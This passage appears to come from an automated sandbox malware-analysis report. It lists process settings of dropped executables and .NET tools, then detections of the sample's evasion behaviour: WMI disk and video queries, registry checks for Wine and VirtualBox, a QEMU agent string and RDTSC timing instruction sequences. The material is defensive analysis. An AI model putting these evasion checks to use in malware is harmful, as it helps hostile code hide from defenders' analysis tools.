Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion
barindex
Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Source: C:\Users\user\Desktop\file.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: penis.exe, 00000018.00000002.2884267791.0000000003030000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: \QEMU-GA.EXE@\]Q
Source: penis.exe, 00000018.00000002.2884267791.0000000003030000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: \QEMU-GA.EXE`,]Q
Source: penis.exe, 00000018.00000002.2884267791.0000000003030000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: \QEMU-GA.EXE
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DDE81E second address: DDE840 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F50CBBC46h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push esi 0x0000000f pop esi 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DDE840 second address: DDE845 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F74BB8 second address: F74BC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jnp 00007F1F50CBBC3Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F74BC5 second address: F74BC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F74BC9 second address: F74BCF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F74BCF second address: F74BD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F6661A second address: F66627 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 popad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F73D11 second address: F73D15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F73E40 second address: F73E6E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F50CBBC41h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F1F50CBBC3Bh 0x0000000f pushad 0x00000010 popad 0x00000011 jnp 00007F1F50CBBC36h 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F73E6E second address: F73E72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
